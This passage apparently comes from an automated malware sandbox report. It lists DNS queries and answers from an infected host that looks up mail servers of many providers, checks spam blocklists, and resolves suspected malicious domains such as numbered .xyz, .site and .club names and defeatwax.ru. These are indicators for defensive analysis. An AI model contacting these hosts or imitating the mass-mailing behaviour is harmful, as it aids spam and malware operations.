Sep 7, 2021 16:04:26.207093000 CEST	192.168.2.4	8.8.8.8	0x9232	Standard query (0)	smtpin.eastlink.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.261673927 CEST	192.168.2.4	8.8.8.8	0x17dd	Standard query (0)	telete.in	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.356329918 CEST	192.168.2.4	8.8.8.8	0xbe72	Standard query (0)	smtpin.eastlink.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.406403065 CEST	192.168.2.4	8.8.8.8	0x5cfb	Standard query (0)	mx02.t-online.de	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.504596949 CEST	192.168.2.4	8.8.8.8	0x893e	Standard query (0)	smtpin.eastlink.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.531172991 CEST	192.168.2.4	8.8.8.8	0xfb66	Standard query (0)	gala-group.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:26.619594097 CEST	192.168.2.4	8.8.8.8	0xc04b	Standard query (0)	mx02.t-online.de	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.685791969 CEST	192.168.2.4	8.8.8.8	0xe540	Standard query (0)	smtpin.eastlink.ca	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.768074036 CEST	192.168.2.4	8.8.8.8	0x9e2e	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.828488111 CEST	192.168.2.4	8.8.8.8	0x33e	Standard query (0)	verizon.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:26.909502983 CEST	192.168.2.4	8.8.8.8	0xde5b	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:26.912714005 CEST	192.168.2.4	8.8.8.8	0xbce3	Standard query (0)	mx1.hanmail.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.036225080 CEST	192.168.2.4	8.8.8.8	0xb230	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.137267113 CEST	192.168.2.4	8.8.8.8	0x136b	Standard query (0)	emig.freenet.de	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.305700064 CEST	192.168.2.4	8.8.8.8	0x4d78	Standard query (0)	orange.pl	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:27.373003960 CEST	192.168.2.4	8.8.8.8	0xd35b	Standard query (0)	smtp-in.hosting.orange.pl	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.795845032 CEST	192.168.2.4	8.8.8.8	0xe354	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:27.945492983 CEST	192.168.2.4	8.8.8.8	0x29d5	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.162071943 CEST	192.168.2.4	8.8.8.8	0x12aa	Standard query (0)	wanadoo.nl	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:28.311541080 CEST	192.168.2.4	8.8.8.8	0xe5f8	Standard query (0)	icloud.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:28.416073084 CEST	192.168.2.4	8.8.8.8	0x5121	Standard query (0)	mx02.mail.icloud.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.711724997 CEST	192.168.2.4	8.8.8.8	0x8dc1	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:28.819813013 CEST	192.168.2.4	8.8.8.8	0x9fa8	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.627015114 CEST	192.168.2.4	8.8.8.8	0x54b2	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.719034910 CEST	192.168.2.4	8.8.8.8	0x78d3	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:29.774954081 CEST	192.168.2.4	8.8.8.8	0xdd71	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.035044909 CEST	192.168.2.4	8.8.8.8	0xd4a	Standard query (0)	centrum.cz	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:30.155731916 CEST	192.168.2.4	8.8.8.8	0x80de	Standard query (0)	cax.virusfree.cz	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.179049969 CEST	192.168.2.4	8.8.8.8	0x9ac8	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:30.532628059 CEST	192.168.2.4	8.8.8.8	0x87cb	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:31.279711008 CEST	192.168.2.4	8.8.8.8	0xec02	Standard query (0)	korea.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:32.364806890 CEST	192.168.2.4	8.8.8.8	0xec02	Standard query (0)	korea.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:32.446592093 CEST	192.168.2.4	8.8.8.8	0x45db	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:32.483639956 CEST	192.168.2.4	8.8.8.8	0x95b5	Standard query (0)	mx02.mail.icloud.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:32.484555960 CEST	192.168.2.4	8.8.8.8	0xf180	Standard query (0)	zjmdc.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:33.522326946 CEST	192.168.2.4	8.8.8.8	0xf180	Standard query (0)	zjmdc.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:33.875900030 CEST	192.168.2.4	8.8.8.8	0x18dc	Standard query (0)	mxn.mxhichina.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:33.898077011 CEST	192.168.2.4	8.8.8.8	0xad8a	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:33.903104067 CEST	192.168.2.4	8.8.8.8	0xb11d	Standard query (0)	epost.de	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:33.981470108 CEST	192.168.2.4	8.8.8.8	0xf8c0	Standard query (0)	mx.lycos.de.cust.b.hostedemail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:34.355762959 CEST	192.168.2.4	8.8.8.8	0x37c6	Standard query (0)	interia.pl	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:34.413507938 CEST	192.168.2.4	8.8.8.8	0x9e2b	Standard query (0)	mx.interia.pl	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:34.448431969 CEST	192.168.2.4	8.8.8.8	0xa4e2	Standard query (0)	XnreryDtttxrMmEdC.XnreryDtttxrMmEdC	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:34.895220041 CEST	192.168.2.4	8.8.8.8	0x18dc	Standard query (0)	mxn.mxhichina.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:35.124494076 CEST	192.168.2.4	8.8.8.8	0x4876	Standard query (0)	mx.wp.pl	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:35.321445942 CEST	192.168.2.4	8.8.8.8	0x4e4f	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:35.701598883 CEST	192.168.2.4	8.8.8.8	0x9a0b	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:36.079194069 CEST	192.168.2.4	8.8.8.8	0x5054	Standard query (0)	mx.wp.pl	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:36.262475967 CEST	192.168.2.4	8.8.8.8	0xddf3	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:36.626290083 CEST	192.168.2.4	8.8.8.8	0x896a	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:38.775583982 CEST	192.168.2.4	8.8.8.8	0xb343	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:38.978256941 CEST	192.168.2.4	8.8.8.8	0x296c	Standard query (0)	m.youtube.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:39.992971897 CEST	192.168.2.4	8.8.8.8	0x1429	Standard query (0)	homail.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:40.070230961 CEST	192.168.2.4	8.8.8.8	0x8481	Standard query (0)	yyhhy.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:40.527457952 CEST	192.168.2.4	8.8.8.8	0x209	Standard query (0)	freechal.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:40.595487118 CEST	192.168.2.4	8.8.8.8	0x9032	Standard query (0)	rediffmail.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:40.648399115 CEST	192.168.2.4	8.8.8.8	0xdb90	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:41.846781015 CEST	192.168.2.4	8.8.8.8	0x4431	Standard query (0)	ryanandkellywedding.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:41.916081905 CEST	192.168.2.4	8.8.8.8	0x2cc	Standard query (0)	r57u.co.cc	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:42.271853924 CEST	192.168.2.4	8.8.8.8	0xdb69	Standard query (0)	ideaju.fr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:42.355572939 CEST	192.168.2.4	8.8.8.8	0xc0cc	Standard query (0)	deedb.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:42.486784935 CEST	192.168.2.4	8.8.8.8	0x13a9	Standard query (0)	kotmail.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:42.647223949 CEST	192.168.2.4	8.8.8.8	0x1dc2	Standard query (0)	mx1.hanmail.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:42.694154978 CEST	192.168.2.4	8.8.8.8	0x62ed	Standard query (0)	meyzo.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:43.786946058 CEST	192.168.2.4	8.8.8.8	0x62ed	Standard query (0)	meyzo.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:44.747428894 CEST	192.168.2.4	8.8.8.8	0x378a	Standard query (0)	kitooes.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:44.837461948 CEST	192.168.2.4	8.8.8.8	0xb5a4	Standard query (0)	mx1.hanmail.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:44.858602047 CEST	192.168.2.4	8.8.8.8	0x5f65	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:46.649148941 CEST	192.168.2.4	8.8.8.8	0x7786	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:47.945238113 CEST	192.168.2.4	8.8.8.8	0x77f2	Standard query (0)	deshpande.net.nz	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:48.284533024 CEST	192.168.2.4	8.8.8.8	0xf3ca	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:48.922593117 CEST	192.168.2.4	8.8.8.8	0xc2b3	Standard query (0)	sina.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.313211918 CEST	192.168.2.4	8.8.8.8	0x638a	Standard query (0)	freemx2.sinamail.sina.com.cn	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:49.322133064 CEST	192.168.2.4	8.8.8.8	0x31e4	Standard query (0)	airjordanoutletshop.us	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.386982918 CEST	192.168.2.4	8.8.8.8	0xda96	Standard query (0)	disajioa.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.506730080 CEST	192.168.2.4	8.8.8.8	0x68f3	Standard query (0)	ayhoo.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:49.728734016 CEST	192.168.2.4	8.8.8.8	0x6163	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:51.439924002 CEST	192.168.2.4	8.8.8.8	0x1dbc	Standard query (0)	funeemail.info	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:51.545310020 CEST	192.168.2.4	8.8.8.8	0x20d2	Standard query (0)	worldnet.att.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:51.616046906 CEST	192.168.2.4	8.8.8.8	0xb1e7	Standard query (0)	ff-ip4-mx-vip2.prodigy.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:51.617943048 CEST	192.168.2.4	8.8.8.8	0xad0c	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:52.452661991 CEST	192.168.2.4	8.8.8.8	0xb88c	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:54.466854095 CEST	192.168.2.4	8.8.8.8	0x5ca6	Standard query (0)	mx2.comcast.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:55.278032064 CEST	192.168.2.4	8.8.8.8	0x59f8	Standard query (0)	mx.lb.btinternet.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:55.608874083 CEST	192.168.2.4	8.8.8.8	0xd336	Standard query (0)	tiscali.co.uk	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:55.749223948 CEST	192.168.2.4	8.8.8.8	0x4ad3	Standard query (0)	mx.tiscali.co.uk	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:56.362355947 CEST	192.168.2.4	8.8.8.8	0xb116	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:56.732158899 CEST	192.168.2.4	8.8.8.8	0xb216	Standard query (0)	lycos.cokr	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:56.871840954 CEST	192.168.2.4	8.8.8.8	0x3c4a	Standard query (0)	dkashf.fgt	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:56.965245008 CEST	192.168.2.4	8.8.8.8	0x70fb	Standard query (0)	prorush.de	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.066595078 CEST	192.168.2.4	8.8.8.8	0x64ed	Standard query (0)	mxf908.netcup.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:57.074868917 CEST	192.168.2.4	8.8.8.8	0x3506	Standard query (0)	avstralia.org	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.199820042 CEST	192.168.2.4	8.8.8.8	0xd67c	Standard query (0)	mail.ixlab.de	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:57.376324892 CEST	192.168.2.4	8.8.8.8	0xca42	Standard query (0)	ryanandkellywedding.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.473095894 CEST	192.168.2.4	8.8.8.8	0xad14	Standard query (0)	mxf908.netcup.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:57.594311953 CEST	192.168.2.4	8.8.8.8	0x8ea7	Standard query (0)	doramail.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.674614906 CEST	192.168.2.4	8.8.8.8	0x42ce	Standard query (0)	mx01.gmx.com	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:57.796253920 CEST	192.168.2.4	8.8.8.8	0xcc56	Standard query (0)	daum.net	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:57.916007042 CEST	192.168.2.4	8.8.8.8	0x3368	Standard query (0)	mx1.hanmail.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:58.091109991 CEST	192.168.2.4	8.8.8.8	0x8018	Standard query (0)	carolina.rr.com	MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:04:58.250065088 CEST	192.168.2.4	8.8.8.8	0x7218	Standard query (0)	pkvw-mx.msg.pkvw.co.charter.net	A (IP address)	IN (0x0001)
Sep 7, 2021 16:04:58.274326086 CEST	192.168.2.4	8.8.8.8	0xf8c	Standard query (0)	r-smtp3.korea.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 7, 2021 16:02:31.194354057 CEST	8.8.8.8	192.168.2.4	0xca85	No error (0)	fazanaharahe1.xyz		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.305751085 CEST	8.8.8.8	192.168.2.4	0xa1f1	No error (0)	xandelissane2.xyz		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.399487019 CEST	8.8.8.8	192.168.2.4	0xcd4e	No error (0)	ustiassosale3.xyz		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.512803078 CEST	8.8.8.8	192.168.2.4	0x706a	No error (0)	cytheriata4.xyz		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.703779936 CEST	8.8.8.8	192.168.2.4	0x1c6e	No error (0)	ggiergionard5.xyz		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.804641962 CEST	8.8.8.8	192.168.2.4	0x561f	Name error (3)	rrelleynaniy6.store	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.866894007 CEST	8.8.8.8	192.168.2.4	0x2b8d	Name error (3)	danniemusoa7.store	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.915296078 CEST	8.8.8.8	192.168.2.4	0xfe8a	Name error (3)	nastanizab8.store	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:31.962829113 CEST	8.8.8.8	192.168.2.4	0x5377	Name error (3)	onyokandis9.store	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.011377096 CEST	8.8.8.8	192.168.2.4	0x4696	Name error (3)	dmunaavank10.store	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.122406960 CEST	8.8.8.8	192.168.2.4	0xa5fc	No error (0)	gilmandros11.site		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.238764048 CEST	8.8.8.8	192.168.2.4	0xe5d2	No error (0)	cusanthana12.site		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.326869965 CEST	8.8.8.8	192.168.2.4	0x9ce	No error (0)	willietjeana13.site		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.439276934 CEST	8.8.8.8	192.168.2.4	0x87b0	No error (0)	ximusokall14.site		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.566443920 CEST	8.8.8.8	192.168.2.4	0x40ad	No error (0)	blodinetisha15.site		192.42.116.41	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:32.947089911 CEST	8.8.8.8	192.168.2.4	0x7fa4	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:33.297930002 CEST	8.8.8.8	192.168.2.4	0x8a91	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:33.724354982 CEST	8.8.8.8	192.168.2.4	0xebb8	No error (0)	privacytoolz123foryou.xyz		185.183.96.3	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:34.643301964 CEST	8.8.8.8	192.168.2.4	0x536b	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:35.064177036 CEST	8.8.8.8	192.168.2.4	0x33e6	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:35.411679029 CEST	8.8.8.8	192.168.2.4	0x6e2e	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:35.718497992 CEST	8.8.8.8	192.168.2.4	0x173d	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:36.024935007 CEST	8.8.8.8	192.168.2.4	0xd153	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:36.351341963 CEST	8.8.8.8	192.168.2.4	0x2d91	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:38.196342945 CEST	8.8.8.8	192.168.2.4	0xa2e0	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:38.493333101 CEST	8.8.8.8	192.168.2.4	0x201e	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:42.748150110 CEST	8.8.8.8	192.168.2.4	0xf48e	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:43.724842072 CEST	8.8.8.8	192.168.2.4	0xcdb1	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:44.023402929 CEST	8.8.8.8	192.168.2.4	0xb0ba	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:44.746465921 CEST	8.8.8.8	192.168.2.4	0x773e	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:47.655813932 CEST	8.8.8.8	192.168.2.4	0x9649	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:48.171019077 CEST	8.8.8.8	192.168.2.4	0x65f8	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:50.690677881 CEST	8.8.8.8	192.168.2.4	0xb453	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:51.086507082 CEST	8.8.8.8	192.168.2.4	0xa8fb	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:51.559292078 CEST	8.8.8.8	192.168.2.4	0xf98d	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:53.464960098 CEST	8.8.8.8	192.168.2.4	0x322	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:53.847109079 CEST	8.8.8.8	192.168.2.4	0xcdf6	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:54.199670076 CEST	8.8.8.8	192.168.2.4	0x1c38	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:02:54.621083021 CEST	8.8.8.8	192.168.2.4	0x2974	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:02.790796995 CEST	8.8.8.8	192.168.2.4	0x8188	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:03.153362036 CEST	8.8.8.8	192.168.2.4	0x2091	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:04.182008982 CEST	8.8.8.8	192.168.2.4	0x6d21	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:04.494956970 CEST	8.8.8.8	192.168.2.4	0xbda3	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:08.925115108 CEST	8.8.8.8	192.168.2.4	0x4016	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:08.925115108 CEST	8.8.8.8	192.168.2.4	0x4016	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:11.455410957 CEST	8.8.8.8	192.168.2.4	0xd291	No error (0)	defeatwax.ru		193.56.146.188	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:13.585100889 CEST	8.8.8.8	192.168.2.4	0xf591	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:13.931739092 CEST	8.8.8.8	192.168.2.4	0xccc4	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:14.309876919 CEST	8.8.8.8	192.168.2.4	0xe75e	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:14.700985909 CEST	8.8.8.8	192.168.2.4	0x17e2	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:15.402827978 CEST	8.8.8.8	192.168.2.4	0x97f5	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:15.893052101 CEST	8.8.8.8	192.168.2.4	0xa84b	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:16.746540070 CEST	8.8.8.8	192.168.2.4	0xdf46	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:17.116905928 CEST	8.8.8.8	192.168.2.4	0xba0f	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:18.482580900 CEST	8.8.8.8	192.168.2.4	0x4b72	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:18.905133009 CEST	8.8.8.8	192.168.2.4	0xde34	No error (0)	wp.pl			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:18.905133009 CEST	8.8.8.8	192.168.2.4	0xde34	No error (0)	wp.pl			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:18.938952923 CEST	8.8.8.8	192.168.2.4	0xc1df	Name error (3)	41.52.17.84.dnsbl.sorbs.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.089193106 CEST	8.8.8.8	192.168.2.4	0x50b9	No error (0)	mx.wp.pl		212.77.101.4	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.098521948 CEST	8.8.8.8	192.168.2.4	0x1a6e	Name error (3)	41.52.17.84.bl.spamcop.net	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.237154007 CEST	8.8.8.8	192.168.2.4	0x5a6a	No error (0)	fastpool.xyz		213.91.128.133	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.275171041 CEST	8.8.8.8	192.168.2.4	0xc14	No error (0)	btinternet.com			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:19.491471052 CEST	8.8.8.8	192.168.2.4	0x54ce	No error (0)	www.google.com		142.250.102.103	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.491471052 CEST	8.8.8.8	192.168.2.4	0x54ce	No error (0)	www.google.com		142.250.102.99	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.491471052 CEST	8.8.8.8	192.168.2.4	0x54ce	No error (0)	www.google.com		142.250.102.104	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.491471052 CEST	8.8.8.8	192.168.2.4	0x54ce	No error (0)	www.google.com		142.250.102.147	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.491471052 CEST	8.8.8.8	192.168.2.4	0x54ce	No error (0)	www.google.com		142.250.102.105	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.491471052 CEST	8.8.8.8	192.168.2.4	0x54ce	No error (0)	www.google.com		142.250.102.106	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.491498947 CEST	8.8.8.8	192.168.2.4	0x9a64	Name error (3)	41.52.17.84.zen.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.511214972 CEST	8.8.8.8	192.168.2.4	0x785e	No error (0)	urydiahadyss16.club		5.188.88.63	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.518946886 CEST	8.8.8.8	192.168.2.4	0xf7bc	No error (0)	mx.lb.btinternet.com		213.120.69.89	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.518990040 CEST	8.8.8.8	192.168.2.4	0xe18c	No error (0)	videotron.ca			MX (Mail exchange)	IN (0x0001)
Sep 7, 2021 16:03:19.595940113 CEST	8.8.8.8	192.168.2.4	0x9387	No error (0)	mx.videotron.ca		24.201.245.37	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.615869999 CEST	8.8.8.8	192.168.2.4	0xfc3b	Name error (3)	41.52.17.84.sbl-xbl.spamhaus.org	none	none	A (IP address)	IN (0x0001)
Sep 7, 2021 16:03:19.692019939 CEST	8.8.8.8	192.168.2.4	0x75cc	No error (0)	www.google.com		142.250.102.103	A (IP address)	IN (0x0001)
